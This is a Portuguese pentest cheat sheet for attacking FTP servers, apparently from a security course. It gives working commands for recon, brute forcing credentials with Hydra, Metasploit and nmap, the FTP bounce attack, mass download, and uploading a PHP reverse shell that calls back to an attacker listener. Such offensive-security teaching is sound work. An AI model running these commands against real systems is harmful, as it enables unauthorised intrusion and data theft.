FTP | Solyd One | Ataque específicos
- FTP | Solyd One | Ataque específicos
Porta padrão: 21
FTP é um protocolo de rede padrão usado para transferir arquivos entre hosts em uma rede baseada em TCP (como a Internet). Ele permite upload, download, gerenciamento de diretórios e navegação pelo sistema de arquivos remoto.
📡 Funcionamento
- Modelo cliente-servidor
- Suporte a login anônimo (
anonymous/ftp) - Suporte a login autenticado (usuário e senha)
🔗 Conectando-se a um Servidor FTP
Usando o comando ftp
ftp <target-ip> <target-port>
# Porta é opcional
Usando o comando lftp (versão melhorada do FTP)
lftp <target-ip>
Usando um navegador web
ftp://username:password@<target-ip>
🔍 Reconhecimento (Recon)
Identificando um servidor FTP com Nmap
nmap -p 21 <target-ip>
Banner Grabbing com Netcat
nc -nv <target-ip> 21
📑 Enumeração
Recursos do servidor FTP
nmap -p 21 --script <ftp-features> <target-ip>
# ftp-anon
# ftp-syst
# ftp-*
# ftp-brute
# ftp-vsftpd-backdoor
# --script=ftp-anon,ftp-syst,ftp-vsftpd-backdoor
Diretórios comuns com Gobuster
gobuster dir -u ftp://<target-ip> -w <caminho-da-wordlist>
🎯 Vetores de Ataque
Login Anônimo
ftp <target-ip>
# Usuário: anonymous
# Senha: qualquer uma
Credenciais Comuns
ftp <target-ip>
# Usuário: admin, root, ftpuser, test, etc.
# Senha: comum ou padrão
Força Bruta com Hydra
hydra -L users.txt -P pass.txt -f -s 21 ftp://<target-ip>
# Ou com um usuário específico
hydra -l user -P pass.txt -f -s 21 ftp://<target-ip>
Força bruta com Metasploit
search ftp_login
use auxiliary/scanner/ftp/ftp_login
set RHOSTS xxx.xxx.xx.xx
set USER_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set THREADS 10
run
Força Bruta com Nmap
nmap -p 21 --script ftp-brute <target-ip>
🎯 FTP Bounce Attack
Explora a capacidade do FTP de redirecionar tráfego usando o comando PORT.
Manualmente
ftp <ftp-server>
quote PORT <target-ip>,<port>
get filename
Usando Nmap
nmap -b <ftp-server>:<ftp-port> <rede-alvo>
Usando Metasploit
use auxiliary/scanner/ftp/ftp_bounce
set RHOSTS <ftp-server>
set RPORT <ftp-port>
run
🔧 Pós-Exploitation
Comandos FTP Comuns
| Comando | Descrição | Exemplo |
|---|---|---|
lcd | Muda o diretório local | lcd /caminho/local |
cd | Muda diretório no servidor | cd /caminho/remoto |
ls | Lista arquivos do diretório | ls |
get | Baixa um arquivo | get arquivo.txt |
mget | Baixa múltiplos arquivos | mget *.txt |
put | Envia um arquivo | put arquivo.txt |
mput | Envia múltiplos arquivos | mput *.txt |
bin | Ativa modo binário | bin |
ascii | Ativa modo ASCII | ascii |
quit | Sai do cliente FTP | quit |
📥 Baixar Todos os Arquivos
wget -m ftp://anonymous:anonymous@<target-ip>
🐚 Reverse Shell via FTP + Web
1. Baixe o payload
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
2. Edite as variáveis em shell.php
$ip = '<seu-ip-local>';
$port = 1234;
3. Conecte-se ao FTP e envie o payload
ftp <target-ip>
ftp> put shell.php
4. Inicie um listener local
nc -lvnp 1234
5. Acesse via navegador
http://<target-domain>/caminho/ftp/shell.php